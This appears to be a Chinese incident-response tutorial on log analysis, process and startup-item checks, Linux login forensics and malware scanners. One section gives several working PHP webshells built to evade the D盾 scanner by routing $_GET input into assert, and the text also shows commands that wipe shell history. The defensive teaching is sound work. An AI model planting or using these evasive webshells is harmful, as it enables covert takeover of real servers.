发布时间:2025-12-09 20:55:14 浏览次数:4
断网
现存在这么一个日志文件,localhost_access_log.2021-04-01.txt
可以使用下面的命令
grep “时间” 代表搜索特定时间的ip
awk 分割,以空格分割,截取第一位
sort -rn 排序
uniq -c 计数
最后再使用sort -rn,将计数排序,就可以看到访问次数最多的ip了
比如说获取10.128.185.101访问了哪些页面
可以使用以下命令
grep “10.128.185.101” 指定特定的ip
选取访问的网站,所以awk按照空格分割选第7位
再去掉网站?后面的参数,所以再使用awk 指定?分割选择第1位
然后sort排序
uniq计数
sort最后给计数的排序
360星图
(1) 先修改配置文件,日志文件的路径
这里我将localhost_access_log.2021-04-01.txt这个日记文件,复制到这里,并且改名access.txt
(2) 然后以管理员身份运行start.bat
(3) 等待程序自动运行完,自动生成一个result文件夹
win + r 输入eventvwr.msc,打开日志管理工具
一般重要的几个事件ID
4624 登录成功
4625 登录失败
4720 代表创建新用户
6005 代表开机系统
6006 代表关机系统
筛选指定的事件ID
一直点下一步就行
windows的日志文件一般存放在这里
C:\Windows\System32\winevt\Logs
我们将这将这三种日志文件复制一份,然后创建个目录放进去
系统日志 system.evtx
应用程序日志 application.evtx
安全日志 security.evtx
我这里放在之前创建的那个日志文件的地方
然后LogParserLizard_jb51工具导入
点击这里运行,可以看到这个工具的使用跟mssql类似,都有top语法
判断操作系统是否存在弱口令,这个可以通过询问网络管理员
判断是否存在敏感端口对外开放
我们的一些常见的端口
22 ssh
80 http
3306 mysql
1433 mssql
8080 tomcat
3389 远程登录
等等
以$结尾的用户,使用net user查看不到,之前在权限维持的时候讲过
win + r 输入lusrmgr.msc
cmd 输入命令 netstat -ano 查看端口
主要看established 状态的,established 状态代表外连的ip
然后通过对应的pid,使用tasklist定位
比如说6444pid,对应的是chrome.exe进程,直接找这个程序的完整路径
将可疑文件上传到在线杀毒网站
https://www.virustotal.com/gui/home/upload
这里我准备一个木马文件上传
基本两个以上的爆红,就被认为是病毒文件
https://x.threatbook.com/
msinfo32查看进程
D盾查看进程
火绒剑查看进程
任务管理器查看启动项
注册表查看启动项
HKEY_CURRENT_USER\software\Microsoft\windows\CurrentVersion\run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runoncewin + r 输入services.msc 打开服务查看器
也是主要分析这种爆红的,未知文件
本地搜索任务计划程序
cmd输入at 或者 schtasks 命令,查看计划任务
at 命令可以在低版本的windows使用
cmd 输入 systeminfo
根据systeminfo 的情况判断有哪些提权的工具可以使用
这有个在线提权的网站
https://i.hacking8.com/tiquan
win + r 输入 %UserProfile%\Recent,可以列出最近打开的文件
通过查看最近打开的文件,寻找一些可疑的文件,有可能攻击者没清理干净痕迹,在这里就能看见什么时候,打开了某个木马文件
cmd 输入 quser 或者 query user , 查看当前主机登录了哪些用户
下面只是列出几个,还有很多杀软,百度去搜索即可
http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
https://free.drweb.ru/download+cureit+free
https://www.huorong.cn/
http://sd.360.cn/download_center.html
https://www.d99net.net/index.asp
https://www.shellpub.com/
这个网站好像不见了,可以网上找找别人保存的
https://sec.sangfor.com.cn/download?file=WebShellKillerTool.rar
http://www.uusec.com/webshell.zip
https://scanner.baidu.com/#/pages/intro
https://www.shelldetector.com/
https://stack.chaitin.com/security-challenge/webshell/index
https://www.safedog.cn/website_safedog.html
这里我们主要学习绕过D盾就行
D盾,河马,深信服 这几种的都属于静态查杀
而百度和长亭是动态查杀,会运行代码的
所以最难绕过的还是百度和长亭
可以看到按照这种写法,D盾扫描不出来,经过测试,发现D盾扫不出这种利用回调函数的,比如call_user_func,但是会扫出利用assert()函数调用,或者利用引用变量函数调用的
下面的几个我就不给出结果了,都是经过测试,没有被扫描到,并且可以运行的
<?phpclass A {private $val;public function __construct($val){$this->val = $val;}public function haha(){return 'ass';}public function haha2(){return 'ert';}public function __destruct(){$a = $this->haha().$this->haha2();call_user_func($a,$this->val);}}$a_obj = new A($_GET[1]);
利用getDocComment方法,读取注释里面的内容
<?php/*** assert*/class A{private $name;private $val;public function __construct($name,$val){$this->name = $name;$this->val = $val;}public function __destruct(){call_user_func($this->name,$this->val);}}$refcls = new ReflectionClass('A');$name = substr($refcls->getDocComment(),8,6);$a = new A($name,$_GET[1]);这个是我自己联想出来的
<?phperror_reporting(0);class A{const FUNCNAME = 'assert';private $name;private $val;public function __construct($name, $val){$this->name = $name;$this->val = $val;}public function __destruct(){call_user_func($this->name, $this->val);}}$refcls = new ReflectionClass('A');$name = $refcls->getConstant(FUNCNAME);$refcls->newInstance($name,$_GET[1]);除了call_user_func.也还可以使用preg_replace,或者usort,array_map等,这里其它的写起来可能复杂点,所以我自己试了下preg_replace
<?phperror_reporting(0);class A{private $val;public function __construct($val){$this->val = $val;}public function __destruct(){preg_replace('/test/e',$this->val,"just test!");}}$a = new A($_GET[1]);通过使用[] 数组 可以绕过对可变函数调用的限制
<?php$a = 'ass';$a.='ert';array(1,array(2,array(3,array(4,[$a($_GET[1])]))));可以将可以ip放到以下的网站去分析,或者某些网站也可以分析可以文件
微步在线: https://x.threatbook.com/绿盟:https://nti.nsfocus.com奇安信: https://ti.qianxin.com安恒: https://ti.dbappsecurity.com.cnhttps://data.websaas.cn360: https://ti.360.cn360移动端:http://appscan.360.cn勒索病毒采用的是RSA非对称加密
RSA 非对称加密
公钥 私钥
普通的client ====> 公钥加密 bihuo.cn ====> xxfdsfsadfsafsafa ===> 发给服务器
攻击者截取到xxfdsfsadfsafsafa 只有公钥 没有私钥 无法解密
服务器 拥有私钥 xxfdsfsadfsafsafa 解密 bihuo.cn
普通的client ===> bihuo.cn 加密数据 ====>xxxxfdsafsaf ====> 服务器
攻击者截取到xxxfdsafsaf 不知道对称的密钥 无法解密
加密和解密使用的是同一个密码
攻击者 伪造客户端身份 直接跟服务器通讯 中间人攻击
比如cobalt strike工具登录的时候,有一步会问指纹是否匹配,这就是用来防御中间人攻击
再比如浏览器,会利用受信任的根证书,都是用来防御中间人攻击的
https://mp.weixin.qq.com/s/KfQ8oTJWoG0kMj_FWCSf9w
/etc/passwd文件中 最后一项 /bin/bash /bin/sh 代表可以登录的用户
cat /etc/passwd | grep -E '\/bin\/(bash|sh)'通过/etc/shadow 文件 判断用户是否可以登录 查看密码字段 看是否以$1 或者$6作为开头
cat /etc/shadow | grep -E '\:\$(1|6)'这里如果发现可疑的用户,直接删除用户的话,用户的文件都会丢失,后面如果发现该用户不是攻击者,会造成很**烦,因此,当发现可疑用户的话,可疑先进行锁定,使之无法登录,然后去查询是否是授权的用户,是的话再解锁
/etc/shadow文件中,如果第二位密码以!号开头,代表用户被锁住,无法登录
禁用账户的命令
usermod -L 用户名
解锁账户的命令
usermod -U 用户名
涉及sudo属性
sudo 当前用户能够在哪些主机下以哪些用户的身份执行特定的代码
只需要验证当前用户的密码
%sudo 代表的就是sudo组
使用命令
w
uptime
who
w 查看当前用户登录情况
其中 tty 代表本地登录
pts 代表远程登录
可以看到当我在windows远程登录kali的时候,在kali里面使用再次使用w命令.对出个pts的,并且给出了windows的也就是远程登陆者的ip
history
查看历史记录命令
清除 history -c
history -c 只是清除内存中的历史命令,当打开另一个终端的时候,使用history还是可以查看到历史记录命令
永久清空 rm /home/用户名/.bash_history
root用户的永久清空 rm /root/.bash_history
linux使用 netstat -antlp 查看端口
主要查看是否外连ip,是否established
获取到怀疑的pid ===> ls -al /proc/pid/exe 找到真实执行的文件
也可以利用ps命令查找出文件的路径
ps -ef | grep pid 查看对应进程指向的真实的文件
可以利用在virustotal或者微步在线等网站,上传文件,然后分析
不同版本的linux系统启动项保存的位置会有差异
ubuntu centos redhat
这里我演示的kali,属于ubuntu
kali的启动项位置为 /etc/init.d
只要你怀疑下面的某些文件,就可以无脑上传到在线查杀网站,virustotal或者微步在线
在linux提权的时候,我们使用过/etc/crontab文件,来发布定时任务提权,
因此可以查看/etc/crontab文件,看是否被攻击者写入了定时任务
不光是/etc/crontab 文件,还有一些其它的文件也存在定时任务,并且和/etc/crontab 文件毫不冲突
cron.d 不同用户可以将自身的计划任务写在该目录下
cron.daily 代表每天
cron.hourly 代表每小时
cron.monthly 代表每月
coon.weekly 每周
下面以cron.daily举例,理论上这个目录下的程序每天都会定时的启动
如果怀疑某个文件,就可以无脑上传在线查杀网站,比如说我上传这个apache2文件
只限定redhat系统,输入命令chkconfig查看系统运行级别
这里举例修改开机启动ssh服务,刚开始可以看到sshd服务的5是启用的,代表图形模式开启自启动
并且检查端口,22端口开放
此时我们使用命令chkconfig --level 5 sshd off 关闭sshd的5级别
重启系统,再次检查端口,22端口关闭,ssh服务在图形模式开机的时候未启动
当文件名以. 作为开头时 此时直接使用dir 或者 ls 并不能列出文件
必须使用ls -al才行
通过查看这些日志文件,或许可以发现攻击方遗留的痕迹
下面介绍几个日志文件
通过查看 /var/log/cron 可以直到计划任务的执行情况
记录错误登录日志
使用lastb命令查看
这里我先使用ssh远程登录kali,使用错误的密码登录两次
可以发现 有两次 ssh:notty 并且 ip都列出来了,那是代表ssh登录失败的
而上面两个tty代表本地登录失败的
lastb 可以查看历史登录失败的具体时间 账户 方式
使用lastlog命令查看这个日志文件
lastlog 就是记录 每一个用户最后一次登录的时间 以及通过何种方式登录
先使用lastlog查看
然后我在windows主机上以ssh远程登录kali,再使用lastlog命令
发现kali用户那一行, 出现了pts,并且给出了登录主机的ip
这个日志文件永久记录了所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件,可以使用last命令查看
通过last命令可以查看每一次用户登录的时间 登出的时间
下面可以看到,我先使用last命令,发现kali这个用户是192.168.11.142主机登录者,并且显示仍在在线,pts代表的是远程登录的用户,这是因为之前,我在windows主机使用ssh远程登录了kali
当我在windows退出ssh连接后,发现在kali里面再次使用last命令,192.168.11.142主机不在登录,只给出了登录的时间段
这个文件记录已经登录的用户信息,可以使用w、who、users等命令查看
tty代表本地登录,pts代表远程登录
可以看到详细的登录情况
当我在redhat系统,故意以root用户登录失败两次,然后成功登录进去后
通过使用 cat /var/log/secure 这个命令查看这个日志文件,发现,两次登录失败,一次会话成功打开
既然可以本地登录记录,那么当使用别的主机通过ssh远程登录时候,发现一样被记录,两次故意登录失败,一次登录成功,并且会有sshd标识,代表远程登录的
Ubuntu使用下面的命令按照clamav,一定要按照步骤来,中间有失败的命令,但还是要执行一下
apt-get updatesudo apt-get install clamavsudo apt-get install clamav-daemonsudo freshclamsudo lsof /var/log/clamav/freshclam.logsudo systemctl stop clamav-freshclam.servicesudo freshclamclamscan递归式的扫描/home目录 只打印有问题的文件 将有问题的文件移动到/opt/infected目录下 并将日志写入到clamscan -r -i /home --move=/opt/infected -l /var/log/clamscan.log这里安装成功,但是使用命令失败了,知道有这个软件就行
工具下载地址: http://www.chkrootkit.org/
可以理解rootkit是一个高级木马
这里直接使用的是脚本文件
因为我的kali里面没有rootkit病毒,所以没扫出来
工具下载地址: http://rkhunter.sourceforge.net/
主要查看哪些告警的文件,如果怀疑哪个,就上传到在线查杀网站去
参考windows的webshell查杀
安全狗 d盾 深信服 河马 百度webdir+ 长亭
这里主要介绍ANY.RUN这个网站,它的沙盒是实时更新的,并且可以自己生成一个windows环境
我们自己使用msfvenom生成一个病毒,让它回连10.1.1.8的23331端口,ip都是瞎写的
可以看到,它检测出了ip和端口
将ip提交给情报分析平台
网络安全基线扫描软件主要是扫描操作系统、数据库和网络设备的基本配置参数
直接根据readme里面通过python运行脚本文件即可
直接使用脚本 -h 给出帮助菜单
每个都可以去试试,下面演示了外连ip的
https://mp.weixin.qq.com/s/kvl9WP1jJpoFZ-SO97urmA
https://mp.weixin.qq.com/s/fMXI1AaGoaZJzwpY-IIaQQ